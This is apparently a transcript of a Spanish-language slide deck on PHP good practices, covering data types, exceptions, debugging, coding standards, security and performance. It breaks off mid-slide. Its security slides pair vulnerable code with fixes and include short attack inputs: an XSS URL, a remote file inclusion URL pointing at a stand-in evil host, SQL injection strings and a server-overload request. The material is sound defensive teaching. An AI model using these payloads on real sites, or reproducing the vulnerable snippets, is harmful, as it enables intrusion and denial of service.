Buenas Prácticas de Programación en PHP

70
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia <?php require 'Structures/DataGrid.php'; // 10 records per page $datagrid =& new Structures_DataGrid(10); // Setup your datasource $options = array('dsn' => 'mysql://user:password@host/db_name'); $test = $datagrid->bind("SELECT * FROM my_table", $options); if (PEAR::isError($test)) { echo $test->getMessage(); } // Print the DataGrid with the default renderer (HTML Table) $test = $datagrid->render(); if (PEAR::isError($test)) { echo $test->getMessage(); } // Print the HTML paging links $test = $datagrid->render(DATAGRID_RENDER_PAGER); if (PEAR::isError($test)) { echo $test->getMessage(); } ?> Buenas prácticas de Buenas prácticas de programación en PHP programación en PHP Jesús M. Castagnetto M., Ph.D. [email protected] // [email protected] http://www.castagnetto.com/

Transcript of Buenas Prácticas de Programación en PHP

Page 1: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

<?php

require 'S

tructures/

DataGrid.p

hp';

// 10 reco

rds per pa

ge

$datagrid

=& new Str

uctures_Da

taGrid(10)

;

// Setup y

our dataso

urce

$options =

array('ds

n' => 'mys

ql://user:

password@h

ost/db_nam

e');

$test = $d

atagrid->b

ind("SELEC

T * FROM m

y_table",

$options);

if (PEAR::

isError($t

est)) {

echo $

test->getM

essage();

}

// Print t

he DataGri

d with the

default r

enderer (H

TML Table)

$test = $d

atagrid->r

ender();

if (PEAR::

isError($t

est)) {

echo $

test->getM

essage();

}

// Print t

he HTML pa

ging links

$test = $d

atagrid->r

ender(DATA

GRID_RENDE

R_PAGER);

if (PEAR::

isError($t

est)) {

echo $

test->getM

essage();

}?>

Buenas prácticas de Buenas prácticas de programación en PHPprogramación en PHP

Jesús M. Castagnetto M., [email protected] // [email protected]

http://www.castagnetto.com/

Page 2: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Agenda

● Consideraciones generales● Seguridad● Mejorando el funcionamiento● Donde encontrar mas información

Page 3: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

¿Por que se necesita una charla como esta?● PHP es un lenguaje fácil de aprender,

usarlo en forma experta toma tiempo y esfuerzo

● Los problemas de seguridad están en todas partes, en especial, las inesperadas

● Tener buena performance es muy importante en aplicativos de web

● El Código Libre debe ser robusto, funcionar bien, y verse mejor

Page 4: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

... y que espero que aprendan

● Errores comunes y como evitarlos● Algunos “trucos” interesantes que pueden

reutilizar● Como usar buenas herramientas para

mejorar su código y sus aplicativos, y hacer su vida mas placentera :-)

Page 5: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Consideraciones Generales

En esta sección aprenderemos:● Hábitos comunes para escribir buen

código en PHP● Algunos consejos para “limpiar” tu código● Comportamientos que debemos evitar

para no cometer tantos errores

Page 6: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Consideraciones Generales: Tópicos● Asegurarse del tipo de datos● Usar “tags” cortas es malo● Ser “E_STRICTo” es bueno● Emplear excepciones● Usar un depurador (debugger)● Evitar reinventar la rueda● Los estándares de código son buenos● Documentar, documentar, documentar

Page 7: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Tipos de datos (1)

La situación: PHP no usa tipos estrictos:

... los operadores tampoco lo usan:

Resultado:string(1) “1”int(2)

<?php  $foo = "1";  $bar = $foo + 1;  var_dump($foo, $bar);?>

<?php    $int = 1;    $string = "1";    $bool = true;    var_dump($int == $string);    var_dump($string == $bool);    var_dump($int == $bool);?>

Resultado:bool(true)bool(true)bool(true)

Page 8: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Tipos de datos (2)

Esto causa situaciones confusas:

... y produce errores como el siguiente:<?php    function foo($answer) {        if ($answer > 10) {            return true;        } else {            return $answer;        }    }    if (foo(11)) {        echo "11 es mayor que 10<br />";    }            if (foo(9)) {        echo "9 es mayor que 10<br />";    }?> 

<?php  var_dump( '1' == '1.' );?> 

Resultado:bool(true)

Resultado:11 es mayor que 109 es mayor que 10

Page 9: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Tipos de datos (3)

La solución: programar asegurándose de los tipos de datos

... y usar comparadores que entiendan tipos:<?php    $int = 1;    $string = "1";    $bool = true;    var_dump($int === $string);    var_dump($string === $bool);    var_dump($int === $bool);?> 

<?php  $foo = "1";  $bar = (int)$foo + 1;  var_dump((int)$foo, $bar);?> 

Resultado:int(1)int(2)

Resultado:bool(false)bool(false)bool(false)

Page 10: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Tipos de datos (3)

Y el problema anterior, desaparece como por arte de magia:

<?php    function foo($answer) {        if ($answer > 10) {            return true;        } else {            return $answer;        }    }    if (foo(11) === true) {        echo "11 es mayor que 10<br />";    }            if (foo(9) === true) {        echo "9 es mayor que 10<br />";    }?> 

Resultado:11 es mayor que 10

Page 11: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

“Tags” cortas son dañinas (1)La situación: PHP permite varias formas de

marcar el comienzo del código:➔ Forma estándar: <?php echo “Hola!”; ?>➔ Forma corta: <? echo “Hola!”; ?>

o aún peor: <?= “Hola!”; ?>➔ ... y para los masoquistas:

<% echo “Hola!”; %>

Pero:➔ <? esta reservado para declarar XML➔ <?= no es XML válido (<?php si lo es)➔ <% es para los que sueñan/sufren con ASP

Page 12: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

“Tags” cortas son dañinas (2)

La solución: Usar siempre la forma estándar (<?php) y convertir todos tus programas que no usan esa forma.

La forma estándar➔ Tiene garantizada soporte futuro➔ Representa una instrucción de procesamiento

válida en XML➔ Es única a todos los programas de PHP

Page 13: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Se “E_STRICTo” (1)

La situación: Desde PHP 5.0, existe un nuevo nivel de error: E_STRICT➔ E_STRICT nos fuerza a escribir código que sea

compatible (“limpio”) con PHP 5➔ Muy probablemente E_STRICT se convierta en

E_FATAL en PHP 6➔ Existe mucho código que no es “E_STRICTo” y que

por tanto no es portable en su totalidad a sistemas usando PHP 5

Page 14: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Se “E_STRICTo” (2)

La solución: Usemos E_STRICT, y revisemos nuestro código: (en php.ini)

error_reporting=E_ALL | E_STRICT

Error típico encontrado usando E_STRICT: uso de is_a() en lugar de instanceof:

<?php  if (is_a($object, 'ClassName')) {    $object­>algunMetodo();  }?> 

<?php  if ($object instanceof ClassName) {    $object­>algunMetodo();  }?> 

El problema

La solución

Page 15: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Excepciones (1)

La situación: PHP tiene excepciones ahora, esto es bueno, pero peligroso➔ Las excepciones son una gran herramienta para

manejar situaciones excepcionales en la ejecución del código

➔ A menudo se usan mal las excepciones, y tendemos a abusar de ellas

➔ Las excepciones causan un poco de pérdida de memoria cuando son ejecutadas en algunas situaciones

Page 16: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Excepciones (2)Abusando de las excepciones:

Cuando podríamos haber hecho algo mas sensato:

<?php  function check_input($input) {    if ($input !== "Hello!") {      throw new Exception("User input wrong");    }  }?>

<?php  function check_input($input) {    if ($input !== "Hello!") {      return false;    } else {      return true;    }  }?>

Page 17: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Excepciones (2)

Solución: Usemos bien las excepciones<?php  function check_server_connection() {    if (server_connection_timeout()) {      throw new Exception('Connection timeout');    }  }?>

<?php  try {    $person­>setName('John Doe');    $person­>setAddress('Something St. 12');    $person­>setbirthDate('10­10­1900');    $person­>store();  } catch (Exception e) {    throw new DataPopulationException(        'Unable to fill data for person ' . $person­>getId(), e    );  }?>

Situacionesexcepcionales

Manejo de errores en un bloque de procesos

Page 18: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Excepciones (3)

Excepciones “pierden” alguito de memoria cuando se les lanza continuamente (por ejemplo en un bucle de proceso):

La memoria pedida no es liberada por completo cada vez.

<?phpforeach ($i = 1000000; $i > 0; $i­­) {

throw new Exceptions("WOW, I'm leaking!"

);}

?> 

Page 19: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Usando un depurador (1)

La situación: “¡Yo no necesito depurador!”● “Para mi es suficiente usar var_dump() y

print_r(). ¿Para que complicarme la vida?”● Los errores de PHP no son muy

informativos en casos moderadamente complejos

● Un depurador tiene características que ayudan mucho, y que evitan dolores de cabeza al analizar errores en nuestros aplicativos de web

Page 20: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Usa un depurador (2)Por ejemplo, el siguiente código:

Daría un error como este:Warning: phpinfo() expects a parameter 1 to be long, string given in /server/webdocs/foo.php on line 1

... lo cual no nos dice mucho en realidad

<?phpfunction foo() {

     phpinfo("bar");}foo();

?>

Page 21: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Usa un depurador (3)

En cambio, un buen depurador nos da mucha mas información:

Ahora sabemos inclusive el orden de llamada que causo el error, cuando se realizó la llamada a la función, etc.

Page 22: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Usa un depurador (4)

La solución: ¡Usen un buen depurador!● Recomendación: Xdebug

(http://xdebug.org)➔ Es Código Libre➔ Usado por muchos desarrolladores➔ Se integra con PHP como una extensión➔ Se integra con IDEs (ej. Komodo)➔ Tiene opciones para obtener perfiles de uso y

cobertura de código● Otros depuradores:DBG(http://dd.cron.ru), APD (http://

pecl.php.net/package/apd), Zend IDE (propietario)

Page 23: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Estándares de código (1)

La situación: “¡Yo escribo código como a mi me viene en gana!”

● Esto causa dificultades al leer el código, lo cual es malo en un grupo de desarrollo

● Hace complicado que alguien mantenga tu código

● En ocasiones, tu mismo(a) tendrás problemas entendiendo tu propio “monstruo”

Page 24: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Estándares de código (2)

La solución: ¡Usa un estándar de código!● Existen muchos, buenos, aceptados,

refinados y validados por comunidades grandes de desarrolladores:➔ PEAR Code Standards:

http://pear.php.net/manual/en/standards.php

➔ eZ Systems:http://ez.no/ezpublish/documentation/development/standards/php

➔ ZF Code Standard:http://framework.zend.com/manual/en/coding-standard.html

Page 25: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Documentación (1)

La situación: Comparado con escribir código, el hacer documentación es aburrido y se deja para el último momento

● Esto hace que después de 6 meses, ni tu mismo te acuerdes que hace un pedazo de código que hiciste (en particular si no tienes un estándar de código :-)

● Piensa que otros usaran tu código. Mejor aún, espera y cuenta con otros usarán tu código, y no les compliques la vida

Page 26: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Documentación (2)

La solución: phpDocumentor➔ Implementa y aumenta las capacidades de

documentación de Javadoc➔ Es un estándar aceptado por la comunidad➔ Está disponible a través de PEAR➔ Permite la generación “automágica” de

documentación de tu API➔ También puedes incluir tutoriales➔ Más información en http://phpdoc.org

Page 27: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Documentación (3)

Consejos útiles:➔ Escribe la documentación antes de escribir el

código, de ese modo no te olvidas de algo importante

➔ Si escribes primero el código, de seguro que no vas a escribir buena documentación (y eso, si la llegas a escribir)

➔ Documenta minuciosamente, así no tienes que corregir los documentos luego

➔ Si vas a modificar, añadir o arreglar algo: Actualiza la documentación primero, luego actualiza el código.

Page 28: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Seguridad

En esta sección veremos:● Problemas comunes y sus soluciones● Como estar atento a lo hacen nuestros

usuarios, y actuar de acuerdo a ello

Page 29: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Seguridad: Tópicos

● Inyección de variables● Inyección de comandos en SQL● Filtrado de datos de ingreso● Escape de datos de salida● Seguridad por obscuridad● Arreglar los derechos de acceso● Configuración● Cookies y sesiones

Page 30: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Inyección de variables (1)

La situación: Las variables no inicializadas pueden causar que se ejecuten secciones no esperadas de código

<?phpif (correct_user($_POST['user'], $_POST['password']) {

     $login = true;}

if ($login) {     forward_to_secure_environment();

}?> 

¡Un desastre en potencia!

http://example.com/form1.php?login=1

Page 31: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Inyección de variables (2)

La solución: Inicializa todas tus variables y nunca (si, ¡nunca!) confíes en datos que vienen del usuario (del exterior):$_POST, $_GET, $_REQUEST, $_COOKIE, $_SERVER, $_ENV

Ejemplo simple de XSS. Al código:

... le inyectamos el URL siguiente:

generando una ventana en JavaScript que imprime el texto “XSS”

<form action="<?php echo $_SERVER['PHP_SELF']; ?>"></form>

http://example.com/form2.php/%22%3E%3Cscript%3Ealert('xss')%3C/script%3E%3Cfoo

Page 32: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Inyección de variables (3)

La situación: Variables usadas para incluir archivos causan mas dolores de cabeza que los que resuelven.➔ Hacen fácil que se ejecute código externo➔ Peor aun si se puede incluir código de cualquier

URL arbitrario (allow_url_fopen=On, la configuración por defecto de PHP)

<?phprequire_once $_GET['action'] . '.php';

?> 

Se puede explotar esto usando:http://example.com/form3.php?action=http://evilsite.com/myevilscript

Page 33: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Inyección de variables (4)

La solución: Valida los archivos a incluir usando una lista fija implementada con arreglos o con 'switch', etc.

<?php$valid_files = array(

'show' => 'show.php',     'list' => 'list.php',

);

if (isset($valid_files[$_GET['action']])) {     require_once $valid_files[$_GET['action']];

} else {     echo 'Not a valid action.';

}?> 

Page 34: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Inyección de comandos en SQL (1)

La situación: El necesitar usar datos de los usuarios, puede permitir a estos el manipular la forma como se accede a la base de datos.

Dado el código:

Se puede manipular usando:

<?php$sql = 'SELECT password FROM user WHERE login = '

           . $_GET['login'];?>

http://example.com/form4.php?login=username+OR+1

Page 35: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Inyección de comandos en SQL (2)

La solución: Usa funciones para escapar datos de tu base de datos:

O aún mejor, usa comando preparados:

<?php$sql = 'SELECT password FROM user WHERE login = ' . 

mysql_real_escape_string( $_GET['login'] );?> 

<?php$db = new PDO( ... );$stmt = $db­>prepare( 'SELECT password FROM user WHERE login = ?' );$stmt­>execute( array( $_GET['login'] ) );

?> 

Page 36: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Validación de datos de entrada (1)

La situación: Validar los datos que entra el usuario es difícil y poco interesante.

La solución: Usar ext/filter o ext/ctype<?php

var_dump( ctype_alnum( 'foobar_42' ) );var_dump( ctype_alnum( 'Bad Characters $%&/' ) );

var_dump(filter_var('[email protected]', FILTER_VALIDATE_EMAIL));var_dump(filter_var('example.com',

FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED));?>

Resultado:boolean falseboolean falsestring '[email protected]' (length=15)boolean false

Page 37: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Validación de datos de entrada (2)

Sugerencia:Para datos numéricos, es más fácil el forzar

al dato a tener un tipo un entero (integer)<?php

var_dump( (int) '42' );var_dump( (int) '42; DELETE * FROM users;' );var_dump( (int) 'Evil string' );

?>

Resultado:int 42int 42int 0

Page 38: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Procesa los datos de salida (1)

La situación: Los ataques de XSS ocurren por no procesar adecuadamente los datos de salida, o usarlos tal cual son obtenidos.➔ Debemos asumir que todo dato ingresado por el

usuario, puede contener caracteres que serán interpretados por el navegador, u otro programa que recibe nuestros resultados.

<?php$text = '<b>Hola</b> todos.';echo $text;echo htmlentities( $text );

?> 

Resultado:

Hola todos<b>Hola</b> todos

Page 39: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Procesa los datos de salida (2)

La solución: Usar las funciones de procesamiento de datos de salida➔ Hay que recordar que las bases de datos también

pueden contener datos ingresados por el usuario➔ Debemos de considerar el contexto en que la salida

de nuestro programa va a ser usada (navegador, lector de RSS, etc.)

➔ Usar un sistema de plantillas, en especial uno que procese la salida adecuadamente, evita este problema y nos ahorra trabajo

Page 40: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Seguridad por obscuridadLa situación: Información acerca de las

rutas, extensiones, y configuración, hace fácil el trabajo de quien quiere atacar tu sistema.

La solución: Oculta bien esta información.➔ No tengas un script con phpinfo() en tu directorio

de web por defecto➔ En producción, desactiva display_errors y usa

error_log en su lugar➔ El cambiar los tipos de archivos por defecto (ej. usar

.abc en lugar de .php), y desactivar expose_php también puede ayudar

Page 41: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Corrige los permisos de acceso

La situación: Permisos de acceso errados hacen fácil el que alguien puede adueñarse de nuestro servidor de web.

La solución: Usa los permisos correctos➔ No deben de haber archivos ejecutables o que se

puedan escribir en tu carpeta de web➔ Ningún archivo de PHP debe de poderse sobre-

escribir➔ Desactivar el leer (y ejecutar) archivos externos

conteniendo clases, configuración, o código de cualquier índole

Page 42: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Configuración (1)La situación: El proceso inadecuado de los

datos de salida y los almacenados.➔ Afecta directamente (a veces, seriamente) la

performance de tu aplicativo de web➔ A veces no usamos adecuadamente funciones

como stripslashes(), ni las asociadas al tipo de almacenaje que usaremos (base de datos, archivos, etc.)

La solución: No uses magic_quotes en producción (ni en desarrollo, de ser posible), y usa funciones de procesamiento apropiadas

Page 43: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Configuración (2)

Si queremos revertir efectivamente el efecto de magic_quotes, hay que hacerlo con cuidado

<?phpif (get_magic_quotes_gpc()) {

function strip_quotes(&$var) {if (is_array($var) {

array_walk($var, 'strip_quotes');} else {

$var = stripslashes($var);}

}// Handle GPCforeach (array('GET','POST','COOKIE') as $v) {

if (!empty(${"_".$v})) {array_walk(${"_".$v}, 'strip_quotes');

}}

}?> 

<?php$qry = str_repeat('[]', 1024);file_get_contents('http://example.com/site.php?a' . $qry . '=1');

?> 

Este código sepuede atacarfácilmente.

Un programasimple puedehacer que elservidor se caigapor exceso decarga

Page 44: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Configuración (4)

Podemos hacer el mismo procesamiento, pero en forma mas segura, si usar recursión:

<?phpif (get_magic_quotes_gpc()) {

$in = array(&$_GET, &$_POST, &$_COOKIE);while (list($k,$v) = each($in)) {

foreach ($v as $key => $val) {if (!is_array($val)) {

$in[$k][$key] = stripslashes($val);continue;

}$in[] =& $in[$k][$key];

}}unset($in);

}?> 

Page 45: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Configuración (5)

La situación: Aún hay código que depende de que register_globals este activo, y hay desarrolladores que aún siguen usándolo➔ Esta configuración ha sido desactivada por defecto

desde hace mucho tiempo (desde PHP 4.2.0: 22 de Abril del 2002)

➔ Su uso llena de basura el entorno global➔ Puede sobre-escribir variables no inicializadas con

gran facilidad➔ Nos (mal) acostumbra a no procesar nuestros datos

de entrada

Page 46: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Configuración (6)La solución: No uses register_globals, ni

en desarrollo y menos en producción.➔ El tratar de emular su efecto puede traer problemas,

en particular en entornos usando PHP con versiones anteriores a 4.4.1 o 5.0.5

➔ Aún puedes crear tus propios mecanismos de importación de variables

➔ El comportamiento de extract() y el de import_request_variables() es aceptado

¡En PHP 6 ya no existirá ni magic_quotes y menos aún

register_globals!

Page 47: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Cookies y sesiones (1)

La situación: Las cookies son fáciles de ser modificadas por el usuario.➔ No almacenes información crítica en cookies➔ Pueden ser falsificadas usando programas

automatizados

La solución: Usar ext/session para almacenar los datos importantes.➔ Generalmente, se almacenará un ID de sesión en la

cookie del usuario➔ Los datos asociados residen en el servidor

(archivos o base de datos)

Page 48: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Cookies y sesiones (2)

Sugerencias: ➔ No almacenar claves de identificación como texto

sencillo, es inseguro aún en el servidor. Es bueno usar un función como md5(), sha1(), etc. para almacenar un valor que no puede ser revertido a la cadena original

➔ Al usar md5() (o sha1(), etc.), no hacerlo directamente en la clave, pues pueden escribirse programas que traten de adivinar esta información por fuerza bruta. Concatenar con otra información (ej. nombre del servidor, del usuario, etc.), antes de procesar.

Page 49: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Mejorando la performance

En esta sección aprenderemos● Algunos de los errores comunes que

hacen que nuestros aplicativos corren más lentamente de lo que realmente deberían.

● Algunas sugerencias que pueden ayudar a que la performance de nuestros aplicativos aumente, usando prácticas correctas de escritura de código

Page 50: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Mejorando la performance: Tópicos● Prefiere usar C en lugar de PHP● Algunas mejoras simples en la velocidad● Como usar OOP adecuadamente● Usar cache tanto como se pueda● Tener cuidado con las expresiones

regulares● Emplear cache de OP code● Hacer un perfil del aplicativo● Usar mod_gzip

Page 51: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Prefiere usar C en lugar de PHP

La situación: Las funciones internas de PHP son más rápidas que las del usuario➔ Las funciones de PHP nos ahorran tiempo, pero

aún así hay gente que insiste en escribir su “versión propia” de estas

La solución: ¡Lee el manual!➔ PHP tiene excelente documentación, usala a

menudo y verás que te gustará➔ Antes de escribir, fíjate si ya existe en PHP➔ Si realmente necesitas funciones que consumen

mucho tiempo, escribelas como extensiones en C para PHP

Page 52: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

La situación: Si usamos código simple muy frecuentemente, esto puede causar que se pierda mucho tiempo de proceso.➔ El uso principal de los aplicativos de web es el de

procesar cadenas de caracteres➔ Debemos de analizar las construcciones de código

más frecuentemente usadas en nuestro aplicativo

“Make everything as simple as possible, but not simpler.” (Haz todo tan simple como sea posible, pero no mas simple que eso) -- Albert Einstein

Algunas mejoras simples en la velocidad (1)

Page 53: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Algunas mejoras simples en la velocidad (2)La solución: Optimizaciones simples ayudan

mucho a aumentar la velocidad➔ Usa ' en lugar de " para no tener que interpretar

valores

➔ Usa valores múltiples de echo en lugar de usar concatenación de valores

➔ Donde sea posible usa ++$i en lugar de $i++

echo 'Hola Todos';echo "Hola\nTodos";Preferido

echo 'Hola '.$nombre; echo 'Hola ', $nombre;

Preferido

for ($i=0; $i<100; $i++)

for ($i=0; $i<100; ++$i)Preferido

Page 54: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Usa OOP adecuadamente (1)

La situación: PHP 5 tiene características interesantes en lo relacionado a OOP➔ OOP se ve bien y puede ser útil, pero también

sobrecarga el procesamiento➔ Cada objeto consume memoria en PHP que una

estructura equivalente➔ Cada llamada a un método consume memoria y

tiempo en PHP<?php    class Integer {        protected $value = 0;        function __construct($int) {            $this­>value = $int;        }    }?> 

Bonito código, pero innecesario

Page 55: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Usa OOP adecuadamente (2)

La solución: Conoce los límites de OOP➔ No todo tiene que ser una clase, los arreglos

pueden ser muy útiles también➔ No crees múltiples métodos, piensa en que vas a

reusar en realidad. Sé pragmático(a).➔ Si lo necesitas, puedes reorganizar tus métodos

luego. No trates de adivinar el futuro.➔ Piensa: ¿Realmente necesito un árbol de clases tan

profundo y complejo?➔ Antes de aplicar un “Patrón de Diseño” OOP, piensa

si realmente lo necesitas. No hagas las cosas por moda o imitación

Page 56: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Usar cache al máximo (1)

La situación: La mayor parte del contenido no es dinámicamente generado➔ 90% del tiempo el servidor está enviando la misma

